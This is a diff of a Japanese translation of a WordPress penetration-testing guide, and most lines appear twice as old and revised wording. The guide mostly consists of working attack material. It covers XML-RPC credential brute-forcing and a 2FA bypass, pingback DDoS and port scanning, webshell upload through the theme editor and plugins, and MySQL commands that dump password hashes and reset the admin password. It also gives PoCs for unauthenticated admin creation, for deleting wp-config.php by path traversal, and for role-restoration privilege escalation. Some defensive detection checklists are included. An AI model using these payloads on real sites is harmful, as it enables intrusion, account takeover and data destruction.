**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかったら、次のようなものを送信できます:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -137,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
認証情報が有効でない場合、200コードのレスポンス内にある_"Incorrect username or password"_というメッセージが表示されるはずです。
|
||||
認証情報が無効な場合、HTTP 200レスポンス内に_"Incorrect username or password"_というメッセージが表示されるはずです。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
正しい認証情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -173,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
また、同じリクエストで複数の資格情報を試せるので、**より速い方法**での brute-force に **`system.multicall`** を使用できます:
|
||||
また、同じリクエストで複数の認証情報を試せるため、**より高速な方法**として **`system.multicall`** を使うと認証情報の brute-force を行えます:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
このメソッドはプログラム向けで人間向けではなく古いため、2FA をサポートしていません。したがって、有効な creds を持っているがメインの入口が 2FA によって保護されている場合、**xmlrpc.php を悪用してその creds で 2FA をバイパスしてログインできる可能性があります**。コンソールから行えるすべての操作ができるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。
|
||||
このメソッドはプログラム向けで人間向けではなく古い実装のため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合、**xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります**。ただし、コンソールから行えるすべての操作ができるわけではありませんが、Ippsec が説明しているように RCE に至ることができる場合があります: [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
リスト内に _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\
|
||||
これを利用して、**数千**の Wordpress **サイト**に一つの **場所** へ **アクセス** させ(その場所で **DDoS** が発生します)、あるいは Wordpress に内部 **ネットワーク** を **スキャン** させることもできます(任意のポートを指定可能です)。
|
||||
リスト内にメソッド _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\
|
||||
これを使えば、**数千**の Wordpress **サイト** に一つの **場所** へ **アクセス** させ(その場所で **DDoS** が発生します)、あるいは Wordpress に内部 **ネットワーク** を **スキャン** させることもできます(任意のポートを指定可能)。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -196,9 +191,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**faultCode** の値が **0**(17)より **大きい** 場合、そのポートは開いていることを意味します。
|
||||
**faultCode** の値が **0**(17)より**大きい** 場合、そのポートは開いています。
|
||||
|
||||
前のセクションでの **`system.multicall`** の使用例を確認し、このメソッドを悪用してDDoSを引き起こす方法を学んでください。
|
||||
前のセクションでの **`system.multicall`** の使い方を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -214,15 +209,15 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\
|
||||
このファイルに**アクセス**されると、**重い** MySQL **query** が実行されるため、**attackers** によって **DoS** を **引き起こす** のに利用される可能性があります。\
|
||||
また、デフォルトでは `wp-cron.php` は各ページロード時(クライアントが Wordpress の任意のページを要求するたび)に呼び出されるため、トラフィックの多いサイトでは問題(DoS)を引き起こす可能性があります。
|
||||
このファイルは通常Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
|
||||
このファイルに**アクセス**されると、**heavy**なMySQL **query**が実行されるため、**attackers**によって**DoS**を**引き起こす**ために利用される可能性があります。\
|
||||
また、デフォルトでは `wp-cron.php` は各ページ読み込み時(クライアントが任意のWordpressページをリクエストするたび)に呼び出され、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。
|
||||
|
||||
Wp-Cron を無効化し、ホスト内で定期的に必要な処理を行う real cronjob を作成することを推奨します(問題を引き起こさないように)。
|
||||
Wp-Cronを無効化し、ホスト内で実際のcronジョブを作成して、定期的に必要な処理を実行することが推奨されます(問題を引き起こさないように)。
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||||
_Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you._
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -235,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** が存在するかをチェックし、存在する場合はそれらを利用しようとします。
|
||||
このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** の存在を確認し、存在する場合はそれらを悪用しようと試みます。
|
||||
|
||||
## 自動ツール
|
||||
```bash
|
||||
@ -243,39 +238,39 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## ビットを上書きしてアクセスを得る
|
||||
## 1ビットを書き換えてアクセスを得る
|
||||
|
||||
実際の攻撃というより好奇心的な話です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転させることができました。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転させ、NOT (`!`) 演算を NOP 化することができます。
|
||||
実際の攻撃というよりは好奇心のためのものだ。 この CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意の wordpress ファイルの 1ビットを反転させることができた。 そのため、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転させて NOT (`!`) 演算を NOP にすることができた。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **パネル RCE**
|
||||
|
||||
**テーマで使用されている php を変更する(管理者の認証情報が必要)**
|
||||
**使用中のテーマの php を変更する(admin credentials が必要)**
|
||||
|
||||
外観 → テーマエディター → 404 テンプレート(右側)
|
||||
|
||||
php シェルの内容に変更する:
|
||||
php shell 用に内容を変更:
|
||||
|
||||
.png>)
|
||||
|
||||
更新したページにどうアクセスするかをインターネットで調べてください。この場合、ここにアクセスします: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
更新したページにどうアクセスするかをインターネットで検索してください。この場合は次の URL にアクセスします: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
使用できるもの:
|
||||
使用できます:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
セッションを取得するため。
|
||||
|
||||
## Plugin RCE
|
||||
## プラグイン RCE
|
||||
|
||||
### PHP plugin
|
||||
### PHP プラグイン
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
例えば次のようにphp backdoorを作成します:
|
||||
プラグインとして .php ファイルをアップロードできる場合があります。\
|
||||
例えば次のように PHP バックドアを作成します:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -283,82 +278,82 @@ It may be possible to upload .php files as a plugin.\
|
||||
|
||||
.png>)
|
||||
|
||||
プラグインをアップロードしてInstall Nowを押します:
|
||||
プラグインをアップロードして「Install Now」を押します:
|
||||
|
||||
.png>)
|
||||
|
||||
「Procced」をクリック:
|
||||
「Proceed」をクリックします:
|
||||
|
||||
.png>)
|
||||
|
||||
おそらく見た目には何も起きないことが多いですが、Mediaに移動するとアップロードされたshellが表示されます:
|
||||
おそらくこれだけでは何も起こらないように見えますが、Media に移動するとアップロードされたシェルが確認できます:
|
||||
|
||||
.png>)
|
||||
|
||||
それを開くと、reverse shellを実行するためのURLが表示されます:
|
||||
それにアクセスすると、リバースシェルを実行するための URL が表示されます:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
この方法は、脆弱であることが知られている悪意あるプラグインのインストールを伴い、web shellを取得するために悪用できます。このプロセスはWordPressのダッシュボードから次のように実行されます:
|
||||
この方法は、脆弱であることが知られている悪意のあるプラグインをインストールし、web シェルを取得するために悪用することを含みます。プロセスは WordPress ダッシュボードを通じて次のように行われます:
|
||||
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPressのダッシュボードで `Dashboard > Plugins > Upload Plugin` に移動します。
|
||||
- ダウンロードしたプラグインのzipファイルをアップロードします。
|
||||
3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
|
||||
4. **Exploitation**:
|
||||
- プラグイン "reflex-gallery" がインストール・有効化されていると、既知の脆弱性を悪用できます。
|
||||
- Metasploit framework はこの脆弱性用のexploitを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスが可能になります。
|
||||
- これはWordPressサイトを悪用する多数の方法のうちの一つに過ぎないことに注意してください。
|
||||
1. **プラグイン取得**: プラグインは Exploit DB のようなソースから入手します(例: [**here**](https://www.exploit-db.com/exploits/36374))。
|
||||
2. **プラグインのインストール**:
|
||||
- WordPress ダッシュボードに移動し、`Dashboard > Plugins > Upload Plugin` に進みます。
|
||||
- ダウンロードしたプラグインの zip ファイルをアップロードします。
|
||||
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
|
||||
4. **悪用**:
|
||||
- プラグイン「reflex-gallery」をインストールして有効化すると、脆弱であることが知られているため悪用できます。
|
||||
- Metasploit framework はこの脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
|
||||
- これは WordPress サイトを悪用する多くの方法の一つに過ぎないことに注意してください。
|
||||
|
||||
コンテンツにはプラグインのインストールと有効化手順を示す視覚的な補助が含まれています。ただし、適切な許可なしにこのような方法で脆弱性を悪用することは違法であり非倫理的である点に注意してください。この情報は責任を持って、明確な許可のある penetration testing のような合法的な文脈でのみ使用してください。
|
||||
この内容には、プラグインのインストールと有効化の手順を示す WordPress ダッシュボードの視覚的補助が含まれています。ただし、正当な許可なしにこのような方法で脆弱性を悪用することは違法かつ非倫理的である点に注意してください。本情報は責任を持って、明示的な許可のあるペネトレーションテストなど法的な文脈でのみ使用してください。
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## XSS から RCE へ
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性へエスカレーションするためのスクリプトです。詳しくは [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** をサポートし、次のことを可能にします:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートさせるためのスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X.** をサポートし、以下を可能にします:
|
||||
- _**Privilege Escalation:**_ WordPress にユーザーを作成します。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(backdoor)を WordPress にアップロードします。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(バックドア)を WordPress にアップロードします。
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイトを提供します。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイト。
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイテーション
|
||||
|
||||
ユーザー名とパスワードの抽出:
|
||||
ユーザー名とパスワードを抽出する:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
管理者のパスワードを変更する:
|
||||
adminのパスワードを変更する:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Wordpress プラグイン Pentest
|
||||
|
||||
### Attack Surface
|
||||
### 攻撃対象
|
||||
|
||||
Wordpress plugin がどのように機能を公開するかを把握することは、その機能の脆弱性を発見する上で重要です。プラグインが機能を公開する方法は以下の箇条書きに示してあり、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。
|
||||
Wordpress プラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を見つけるために重要です。以下の箇条書きでプラグインが機能を公開する可能性のある方法と、脆弱なプラグインの例を [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) で確認できます。
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
プラグインが機能を公開する方法のひとつが AJAX handlers 経由です。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に依存しているケースはかなり頻繁に見られます。その nonce は **Wordpress インスタンスに認証された任意のユーザーが持っている可能性がある**(役割に依らず)ためです。
|
||||
プラグインが機能を公開する方法の一つに、AJAXハンドラ経由があります。これらはロジック、authorization、または authentication のバグを含んでいることがあります。さらに、これらの関数は認証と認可の両方を Wordpress nonce の存在に基づいていることが多く、**Wordpress インスタンスで認証された任意のユーザーが持っている可能性があります**(役割に関係なく)。
|
||||
|
||||
これらはプラグイン内の関数を公開するために使用される関数です:
|
||||
プラグイン内の関数を公開するために使用される関数は以下のとおりです:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv` の使用はエンドポイントを任意のユーザー(未認証のユーザーを含む)からアクセス可能にします。**
|
||||
**`nopriv` の使用により、そのエンドポイントは任意のユーザー(未認証のユーザーも含む)からアクセス可能になります。**
|
||||
|
||||
> [!CAUTION]
|
||||
> さらに、関数が `wp_verify_nonce` でユーザーの認可のみをチェックしている場合、この関数は単にユーザーがログインしているかどうかを確認しているだけで、通常はユーザーのロールをチェックしません。そのため、権限の低いユーザーが高い権限を要する操作にアクセスできる可能性があります。
|
||||
> さらに、関数が `wp_verify_nonce` を使ってユーザーの認可のみを確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常ユーザーのロール(権限)を確認しません。したがって、権限の低いユーザーが高権限の操作にアクセスできる可能性があります。
|
||||
|
||||
- **REST API**
|
||||
|
||||
wordpress から関数を公開するには、`register_rest_route` 関数を使って rest AP を登録することも可能です:
|
||||
wordpress から関数を `register_rest_route` 関数を使って rest AP を登録して公開することも可能です:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -368,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` は、特定のユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。
|
||||
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
|
||||
|
||||
**組み込みの `__return_true` 関数が使われている場合、ユーザー権限のチェックを単純にスキップします。**
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
|
||||
- **php ファイルへの直接アクセス**
|
||||
- **Direct access to the php file**
|
||||
|
||||
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルへアクセスするだけで発動する脆弱な機能を公開している場合、任意のユーザーによって悪用され得ます。
|
||||
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセスできます。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能をプラグインが公開している場合、任意のユーザーによって悪用され得ます。
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
一部のプラグインは、内部統合やリバースプロキシ向けに「trusted header」のショートカットを実装し、そのヘッダーを REST リクエストの現在のユーザーコンテキスト設定に利用します。もしそのヘッダーが上流コンポーネントで暗号的にリクエストに結び付けられていなければ、攻撃者はそれを偽装して管理者として特権のある REST ルートにアクセスできます。
|
||||
一部のプラグインは内部連携や reverse proxies 向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザーコンテキストを設定するために使用します。上流のコンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して administrator として特権のある REST ルートにアクセスできます。
|
||||
|
||||
- 影響: core users REST ルート経由で新しい管理者を作成することで、未認証から管理者への権限昇格が可能になる。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(ユーザー ID 1 を強制、通常は最初の管理者アカウント)。
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` に昇格された role 配列を送信する。
|
||||
- Impact: 未認証の privilege escalation により、core users REST route を通して新しい administrator を作成し admin 権限を取得される可能性があります。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` に対し、昇格した role 配列を含むリクエストを送る。
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -396,28 +391,31 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップする。
|
||||
- WordPress core はこのルートに対して `create_users` 権限を期待する;プラグインのハックはヘッダから直接 current user context を設定することでこれを回避する。
|
||||
なぜ動作するか
|
||||
|
||||
Expected success indicators
|
||||
- 作成されたユーザーを記述する JSON ボディと共に返る HTTP 201。
|
||||
- `wp-admin/users.php` に表示される新しい admin ユーザー。
|
||||
- プラグインはクライアントが制御するヘッダーを認証状態にマッピングし、capability チェックをスキップする。
|
||||
- WordPress core はこのルートに対して `create_users` capability を期待している;プラグインのハックはヘッダーから直接現在のユーザーコンテキストを設定することでこれをバイパスする。
|
||||
|
||||
Detection checklist
|
||||
- ユーザコンテキストを設定するためにカスタムヘッダを読む `getallheaders()`, `$_SERVER['HTTP_...']`、またはベンダー SDK を grep する(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)。
|
||||
- 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックの REST 登録をレビューする。
|
||||
- REST ハンドラ内でヘッダ値だけでガードされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
|
||||
期待される成功指標
|
||||
|
||||
### wp_ajax_nopriv を介した認証されていない任意のファイル削除 (Litho Theme <= 3.0)
|
||||
- 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。
|
||||
- `wp-admin/users.php` に表示される新しい管理者ユーザー。
|
||||
|
||||
WordPress の themes や plugins は `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると**コールバックは認証されていない訪問者から到達可能になる**ため、機密性の高いアクションは追加で以下を実装する必要がある:
|
||||
検出チェックリスト
|
||||
|
||||
1. **権限チェック**(例: `current_user_can()` または少なくとも `is_user_logged_in()`)、および
|
||||
2. **CSRF nonce** を `check_ajax_referer()` / `wp_verify_nonce()` で検証すること、および
|
||||
3. **厳格な入力のサニタイズ / 検証**。
|
||||
- grep で `getallheaders()`, `$_SERVER['HTTP_...']`、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダー SDK(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を探す。
|
||||
- 強固な `permission_callback` チェックを欠き、代わりにリクエストヘッダーに依存する特権コールバックについて REST 登録を確認する。
|
||||
- REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
|
||||
|
||||
Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら3つの制御を忘れており、結果として次のコード(簡略化)を出荷していた:
|
||||
### wp_ajax_nopriv による未認証の任意ファイル削除 (Litho Theme <= 3.0)
|
||||
|
||||
WordPress のテーマやプラグインはしばしば `wp_ajax_` および `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開する。**_nopriv_** バリアントが使われると **コールバックは未認証の訪問者から到達可能になる**ため、機密性の高い処理は次を追加で実装する必要がある:
|
||||
|
||||
1. **capability check**(例: `current_user_can()` または少なくとも `is_user_logged_in()`)、および
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` で検証された **CSRF nonce**、および
|
||||
3. **厳格な入力のサニタイズ/検証**。
|
||||
|
||||
Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら3つのコントロールを忘れてしまい、結果として次のコード(簡略化)を出荷した:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -438,13 +436,13 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **認証なしアクセス** – `wp_ajax_nopriv_` フックが登録されている。
|
||||
* **nonce / capability チェック無し** – 任意の訪問者がエンドポイントにアクセスできる。
|
||||
* **パスのサニタイズ無し** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを許す。
|
||||
* **認証なしでのアクセス** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **nonce / capability チェックなし** – 任意の訪問者がエンドポイントにアクセスできる。
|
||||
* **パスのサニタイズなし** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを許可している。
|
||||
|
||||
#### 悪用
|
||||
|
||||
攻撃者は単一の HTTP POST リクエストを送ることで、**uploads base directory 以下**(通常は `<wp-root>/wp-content/uploads/`)にある任意のファイルやディレクトリを削除できる:
|
||||
攻撃者は単一の HTTP POST リクエストを送ることで、通常 `<wp-root>/wp-content/uploads/` の**uploads base directory 以下**にある任意のファイルやディレクトリを削除できる:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -454,19 +452,19 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### Detection checklist
|
||||
#### 検出チェックリスト
|
||||
|
||||
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
|
||||
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。
|
||||
* 未サニタイズのユーザー入力をパスに連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` が欠如していること。
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
### 古いロールの復元と認可不足による権限昇格 (ASE "View Admin as Role")
|
||||
|
||||
多くのプラグインは、オリジナルのロールを user meta に保存して後で復元できるようにする "view as role" や一時的なロール切替機能を実装している。復元処理がリクエストパラメータ(例:`$_REQUEST['reset-for']`)とプラグイン管理のリストのみを頼りにし、capability チェックや有効な nonce を行わない場合、これは vertical privilege escalation になる。
|
||||
多くのプラグインは、元のロールを user meta に保存して後で復元できるようにすることで、「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグインが管理するリストだけに依存し、権限チェックや有効な nonce の検証を行わない場合、これは垂直的な権限昇格になります。
|
||||
|
||||
実例は Admin and Site Enhancements (ASE) プラグイン(≤ 7.6.2.1)で発見された。リセット処理は、ユーザ名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に `current_user_can()` チェックも nonce 検証も行っていなかった:
|
||||
実際の例として Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) にて発見されました。リセットの処理では、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に `current_user_can()` チェックも nonce の検証も行っていませんでした:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -483,11 +481,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。
|
||||
- ユーザーが以前により高い権限を `_asenha_view_admin_as_original_roles` に保存されており、その後権限が下げられていた場合、reset path にアクセスすることでその権限を復元できる。
|
||||
- 一部の環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の不備)。
|
||||
- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインのオプションを信頼している。
|
||||
- ユーザーが以前により高い権限を `_asenha_view_admin_as_original_roles` に保存されており、後で降格された場合、リセット用のパスにアクセスすることでそれを復元できる。
|
||||
- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ存在する別のユーザー名のリセットをトリガーできる(認可の不備)。
|
||||
|
||||
Exploitation (example)
|
||||
悪用(例)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -495,7 +493,7 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
脆弱なビルドでは、現在のロールを削除して保存された元のロール(例: `administrator`)を再追加し、実質的に権限を昇格させます。
|
